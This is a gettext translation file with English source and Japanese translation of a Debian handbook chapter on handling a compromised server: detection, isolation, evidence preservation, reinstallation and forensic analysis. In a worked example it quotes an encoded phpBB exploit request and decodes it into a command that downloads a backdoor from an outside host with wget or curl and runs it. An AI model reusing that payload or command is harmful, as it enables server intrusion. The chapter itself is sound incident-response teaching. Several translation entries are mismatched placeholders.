msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure."
msgstr "クラッキング対応の最初の段階はクラッキング行為を把握することです。クラッキング行為を特に十分な監視設備がない状態で把握することは不可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:"
msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:"
msgstr "マシンでホストされている正規のサービスに直接的な影響をおよぼすまで (たとえば接続が遅くなったり、一部のユーザが接続できなくなったり、さまざまな誤作動が起きたりするまで)、クラッキング行為は気付かれないことが多いです。これらの問題に直面したら、管理者はマシンをよく見て不正行為を注意深く調べることが必要です。通常この時点で異常なプロセスが発見されます。たとえば標準的な /usr/sbin/apache2 の代わりに apache と名付けられたプロセスなどが発見されます。この例に従うなら、やるべきことはプロセス ID を確認して、このプロセスによって現在実行されているプログラムの実体を確認するために /proc/pid/exe を確認することです。"
msgid "/proc/proc/pid/exe"
msgstr ""
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid ""
#| "\n"
#| "# ls -al /proc/3719/exe\n"
#| "lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n"
#| " "
msgid ""
"\n"
"# ls -al /proc/3719/exe\n"
"lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n"
""
msgstr ""
"\n"
"# ls -al /proc/3719/exe\n"
"lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n"
" "
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "A program installed under /var/tmp/ and running as the web server? No doubt left, the machine is compromised."
msgstr "プログラムが /var/tmp/ の下にインストールされ、ウェブサーバの権限で実行している? 間違いありません。マシンは不正侵入されています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "This is only one example, but many other hints can ring the administrator's bell:"
msgstr "これは一例に過ぎませんが、他にも管理者のアンテナに引っかかるような数多くの手掛かりが存在します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to dpkg;"
msgstr "もはや動作しないはずのオプションを使っているコマンド。コマンドの主張するソフトウェアバージョンが dpkg によってインストールされたと考えられるバージョンと一致しない可能性があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;"
msgstr "最後の接続元が別の大陸にある未知のサーバということを示すコマンドプロンプトやセッション挨拶文。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "errors caused by the /tmp/ partition being full, which turned out to be full of illegal copies of movies;"
msgstr "/tmp/ パーティションが満杯になったことによるエラー。/tmp/ パーティションが大量の映画の不正コピーで満杯になっている可能性があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "and so on."
msgstr "などです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Putting the Server Off-Line"
msgstr "サーバをオフラインにする"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr "クラッキングが最も派手に行われる場合を除けば、クラッキングはネットワーク経由で行われ、攻撃者は目標 (機密データへのアクセス、不正ファイルの共有、踏み台としてマシンを使うことによる本人識別情報の隠匿など) を達成するためにネットワークを必要とします。攻撃者がまだクラッキング行為を完了していないならば、ネットワークからコンピュータを切り離すことで攻撃者は目標を達成できなくなります。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see , and ), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see , and ), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgstr "サーバが物理的にアクセスできなければ、コンピュータをネットワークから切り離すことは不可能です。サーバがホスティングプロバイダの物凄く遠くにあるデータセンターでホストされていたり、その他の理由でサーバにアクセスできない場合、いくつかの重要な情報の収集を開始して (、、を参照してください)、可能な限り多くの (通常 sshd を除くすべての) サービスをシャットダウンすることで、可能な限りサーバを隔離することは通常良いアイディアです。これはまだ都合が悪い状態です。なぜなら、攻撃者は管理者がしているのと同様に SSH アクセスできるからです。このため、マシンを「きれいに」することは難しいです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Keeping Everything that Could Be Used as Evidence"
msgstr "証拠として使えるすべての保存"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice."
msgstr "攻撃を理解したり攻撃者に対して法的手段を取ったりするには、すべての重要な要素の複製を取ることが必要です。ここで重要な要素にはハードディスクの内容、すべての実行中プロセスのリスト、すべての開かれた接続のリストなどが含まれます。RAM の内容が重要な要素に含められる場合もありますが、実際に RAM の内容が役に立つことはまれです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (netstat -tupan for network connections, ps auxf for a list of processes, ls -alR /proc/[0-9]* for a little more information on running programs), and every performed check should carefully be written down."
msgstr "作業中に、管理者は不正侵入されたマシン上で数多くの事項を確認しようとします。しかし通常これは避けるべきです。すべてのコマンドは破壊されている可能性があり、さまざまな証拠を消してしまいます。管理者は最低限の確認 (ネットワーク接続状態を確認する netstat -tupan、プロセスのリストを確認する ps auxf、実行中プログラムのより詳しい情報を確認する ls -alR /proc/[0-9]*) だけを実行し、実行したすべての確認事項を注意深く記録するべきです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "CAUTION Hot analysis"
msgstr "CAUTION その場解析"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!"
msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!"
msgstr "特にサーバが物理的にアクセスできない場合、起動中のシステムを解析したいと思うかもしれませんが、これは特に避けるべきです。なぜなら特に単純に言って、不正侵入されたシステムに現在インストールされているプログラムを信頼できないからです。破壊された ps コマンドが一部のプロセスを非表示にしたり、破壊された ls が一部のファイルを非表示にしたりする可能性は高いと言って良いでしょう。場合によってはカーネルに不正侵入されることすらあるのです!"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr "これでもまだその場解析が必要な場合、既知の良好なプログラムだけを使うように注意するべきです。これを行う良い方法は、破壊されていないプログラムが含まれるレスキュー CD または読み込み専用のネットワーク共有を使うことです。しかしながらカーネル自身が不正侵入されている場合、これらの対策方法では不十分な場合があります。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 sync;
# Ref: $ man 1 dde;
# Ref: $ man 1 nc;
# Tag: L-CFMD;
msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgstr "「動的な」要素の保存が完了したら、次にハードディスクの完全なイメージを保存します。ファイルシステムの内容が書き変えられている最中に完全なイメージを作ることは不可能です。そのため、ファイルシステムを読み込み専用で再マウントする必要があります。最も簡単な解決策として、(sync を実行した後に) サーバを無理やり停止し、レスキュー CD を使って再起動することがよく行われます。各パーティションは dd などのツールを使ってコピーされるべきです。この種のイメージを他のサーバに送信することが可能です (場合によってはとても便利な nc ツールを使って送信します)。他のより簡単な方法もあります。その方法とは不正侵入されたマシンからディスクを取り出して、再フォーマットおよび再インストールしても問題ない新しいディスクで置き換える方法です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Re-installing"
msgstr "再インストール"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "backdoor"
msgstr "バックドア"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr "不正侵入されたサーバを完全に再インストールする前にオンラインに戻すべきではありません。深刻な不正侵入の場合 (管理者権限が奪われていた場合)、再インストール以外に攻撃者が残したすべて (特にバックドア) が一掃されたことを保証する方法はほぼ存在しません。もちろん、攻撃者の使う脆弱性をふさぐために、すべての最新のセキュリティ更新を適用しなければいけません。理想的に言えば、不正侵入の形跡を解析することで、この最新のセキュリティ更新によってふさがれる脆弱性を使って不正侵入が行われたことが明らかになるべきです。そうすれば、実際に攻撃ベクトルが修正されたことを保証することが可能です。しかしこれができなければ、更新によって不正侵入の足掛かりとなった脆弱性が修正されたことを期待することしかできません。"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr "リモートサーバの再インストールは常に簡単というわけではありません。ホスティング会社の手助けが必要になる場合もあります。なぜなら、ホスティング会社のすべてが自動再インストールシステムを提供しているとは限らないからです。不正侵入後に取られたバックアップからマシンを再インストールしないように注意してください。理想的に言えば、データだけを回復するべきです。実際のソフトウェアはインストールメディアから再インストールされるべきです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Forensic Analysis"
msgstr "フォレンジック解析"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake."
msgstr "サービスが回復したら、攻撃ベクトルを理解するために不正侵入されたシステムのディスクイメージの詳細な調査を開始します。ディスクイメージをマウントする際に、ro,nodev,noexec,noatime オプションを使うことに注意してください。これは (ファイルにアクセスしたタイムスタンプを含めて) 内容の変更を防ぎ、誤って破壊されたプログラムを実行することを防ぐ意味合いがあります。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:"
msgstr "通常、攻撃シナリオを追跡するには変更されて実行されたすべてを探し出すことが必要です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
# Ref: man 1 bash;
msgid ".bash_history files often provide for a very interesting read;"
msgstr ".bash_history ファイルには、極めて興味深い内容が含まれます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: PTAL;
msgid "so does listing files that were recently created, modified or accessed;"
msgstr "最近作成、修正、アクセスされたファイルの一覧にも極めて興味深い内容が含まれます。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Ref: $ man 1 strings;
msgid "the strings command helps identifying programs installed by the attacker, by extracting text strings from a binary;"
msgstr "strings コマンドは攻撃者がインストールしたプログラムを識別する助けになります。strings コマンドはバイナリからテキスト文字列を抽出します。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
msgid "the log files in /var/log/ often allow reconstructing a chronology of events;"
msgstr "/var/log/ 内のログファイルを使えば出来事の経過を追跡することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr "特殊目的のツールを使うことで、削除された可能性のあるファイルすなわち攻撃者が削除することが多いログファイルなどの内容を復元することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "sleuthkit"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "autopsy"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "Kali"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "Grml"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#| msgid "checksecurity"
msgid "BlackArchLinux"
msgstr "checksecurity"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "intrusion detection"
msgid "penetration testing"
msgstr "侵入検知"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "MD5"
msgid "forensics"
msgstr "MD5"
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package)."
msgid "Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a \"live install\" image and contain many programs for forensic analysis, such as Kali Linux (see ), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see ). "
msgstr "これらの操作は専用ソフトウェアを使うことで簡単に実行することが可能です。特に、sleuthkit パッケージにはファイルシステムを解析する多くのツールが含まれます。Autopsy Forensic Browser グラフィカルインターフェース (autopsy パッケージに含まれます) を使えば、これらのツールを簡単に使うことが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Reconstituting the Attack Scenario"
msgstr "攻撃シナリオの再構成"
# Checked-By: Ryuunosuke Ayanokouzi;
# Checked-By: Osamu Aoki;
msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings."
msgstr "解析中に収集されたすべての要素はジグソーパズルのピースのように組み合わさるべきです。最初の疑わしいファイルの作成は侵害を証明するログと関係があることがしばしばあります。長ったらしい理論よりも実例の方が分かりやすいでしょう。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "The following log is an extract from an Apache access.log:"
msgstr "以下に Apache access.log から抜粋したログを示します。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
msgstr ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
" "
# Checked-By: Ryuunosuke Ayanokouzi;
#, fuzzy
#| msgid "This example matches exploitation of an old security vulnerability in phpBB. "
msgid "This example matches exploitation of an old security vulnerability in phpBB. "
msgstr "これは phpBB の古いセキュリティ脆弱性を突いた例です。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\"). Indeed, a bd file was found in /tmp/. Running strings /mnt/tmp/bd returns, among other strings, PsychoPhobia Backdoor is starting.... This really looks like a backdoor."
msgstr "長い URL を復号することで、攻撃者がいくつかの PHP コードを実行しようと試みたことが理解できます。ここでは system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &\") を実行しようと試みています。確かに、bd ファイルが /tmp/ の中で見つかりました。strings /mnt/tmp/bd を実行したところ、他の文字列に混じって、PsychoPhobia Backdoor is starting... が返されました。これはまさにバックドアのように見えます。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "Some time later, this access was used to download, install and run an IRC bot that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:"
msgstr "しばらくの後、このアクセスは地下 IRC ネットワークに接続する IRC ボットをダウンロード、インストール、実行するために使われました。この IRC ボットは IRC プロトコルを介して制御され、共有するファイルをダウンロードする指示を与えられました。IRC ボットは以下に示す自分専用のログファイルを持っています。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgstr ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address."
msgstr "ログに残された痕跡によれば、82.50.72.202 という IP アドレスを経由して 2 つのビデオファイルがサーバ上に保存されたことがわかります。"
# Checked-By: Ryuunosuke Ayanokouzi;
# Checked-By: Osamu Aoki;
msgid "In parallel, the attacker also downloaded a pair of extra files, /tmp/pt and /tmp/loginx. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach."
msgstr "並行して、攻撃者はさらに /tmp/pt と /tmp/loginx にファイルをダウンロードしました。strings を使ってこれらのファイルを調べると、Shellcode placed at 0x%08lx や Now wait for suid shell... などの文字列が見つかりました。プログラムは管理者権限を取得するためにローカルの脆弱性を不正利用しているように見えます。攻撃者は目標を達成したでしょうか? この場合、おそらくまだでしょう。なぜなら、最初の侵害行為の後どのファイルも修正されていなかったからです。"
# Checked-By: Ryuunosuke Ayanokouzi;
msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability."
msgstr "この例では、不正侵入の手続きのすべてが再構成されました。そして、攻撃者は不正侵入されたシステムを約 3 日間にわたって悪用することができたと推測することが可能です。しかし、解析で明らかになった最も重要な要素は脆弱性の内容です。管理者は新規インストールによって完全にこの種の脆弱性が修正されたことを保証することが可能です。"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "aide (Debian package)"
#~ msgstr "aide (Debian パッケージ)"
# Checked-By: Ryuunosuke Ayanokouzi;
#~ msgid "detection, intrusion"
#~ msgstr "検知侵入検知"
# Checked-By: Ryuunosuke Ayanokouzi;
# Tag: L-CFMD;
#, fuzzy
#~| msgid ""
#~| "\n"
#~| "# Last Modified: Tue Sep 8 21:40:02 2015\n"
#~| "#include <tunables/global>\n"
#~| "\n"
#~| "/sbin/dhclient {\n"
#~| " #include <abstractions/base>\n"
#~| " #include <abstractions/nameservice>\n"
#~| "\n"
#~| " capability net_bind_service,\n"
#~| " capability net_raw,\n"
#~| "\n"
#~| " /bin/dash r,\n"
#~| " /etc/dhcp/* r,\n"
#~| " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~| " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~| " /etc/resolv.conf.* w,\n"
#~| " /etc/samba/dhcp.conf.* w,\n"
#~| " /proc/*/net/dev r,\n"
#~| " /proc/filesystems r,\n"
#~| " /run/dhclient*.pid w,\n"
#~| " /sbin/dhclient mr,\n"
#~| " /sbin/dhclient-script rCx,\n"
#~| " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#~| " /var/lib/NetworkManager/* r,\n"
#~| " /var/lib/NetworkManager/*.lease rw,\n"
#~| " /var/lib/dhcp/*.leases rw,\n"
#~| "\n"
#~| " profile /sbin/dhclient-script flags=(complain) {\n"
#~| " #include <abstractions/base>\n"
#~| " #include <abstractions/bash>\n"
#~| "\n"
#~| " /bin/dash rix,\n"
#~| " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~| " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~| " /sbin/dhclient-script r,\n"
#~| "\n"
#~| " }\n"
#~| "}\n"
#~| " "
#~ msgid ""
#~ "\n"
#~ "# Last Modified: Fri Jul 5 00:51:02 2019\n"
#~ "#include <tunables/global>\n"
#~ "\n"
#~ "/usr/sbin/dhclient {\n"
#~ " #include <abstractions/base>\n"
#~ " #include <abstractions/nameservice>\n"
#~ "\n"
#~ " capability net_bind_service,\n"
#~ " capability net_raw,\n"
#~ "\n"
#~ " /bin/dash r,\n"
#~ " /etc/dhcp/* r,\n"
#~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~ " /etc/resolv.conf.* w,\n"
#~ " /etc/samba/dhcp.conf.* w,\n"
#~ " /proc/*/net/dev r,\n"
#~ " /proc/filesystems r,\n"
#~ " /run/dhclient*.pid w,\n"
#~ " /sbin/dhclient mr,\n"
#~ " /sbin/dhclient-script rCx,\n"
#~ " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#~ " /var/lib/NetworkManager/* r,\n"
#~ " /var/lib/NetworkManager/*.lease rw,\n"
#~ " /var/lib/dhcp/*.leases rw,\n"
#~ "\n"
#~ " owner /etc/** mrwk,\n"
#~ " owner /var/** mrwk,\n"
#~ " owner /{,var/}run/** mrwk,\n"
#~ "}\n"
#~ " "
#~ msgstr ""
#~ "\n"
#~ "# Last Modified: Tue Sep 8 21:40:02 2015\n"
#~ "#include <tunables/global>\n"
#~ "\n"
#~ "/sbin/dhclient {\n"
#~ " #include <abstractions/base>\n"
#~ " #include <abstractions/nameservice>\n"
#~ "\n"
#~ " capability net_bind_service,\n"
#~ " capability net_raw,\n"
#~ "\n"
#~ " /bin/dash r,\n"
#~ " /etc/dhcp/* r,\n"
#~ " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#~ " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#~ " /etc/resolv.conf.* w,\n"
#~ " /etc/samba/dhcp.conf.* w,\n"
#~ " /proc/*/net/dev r,\n"
#~ " /proc/filesystems r,\n"
#~ " /run/dhclient*.pid w,\n"
#~ " /sbin/dhclient mr,\n"
#~ " /sbin/dhclient-script rCx,\n"
#~ " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#~ " /var/lib/NetworkManager/* r,\n"
#~ " /var/lib/NetworkManager/*.lease rw,\n"
#~ " /var/lib/dhcp/*.leases rw,\n"
#~ "\n"
#~ " profile /sbin/dhclient-script flags=(complain) {\n"
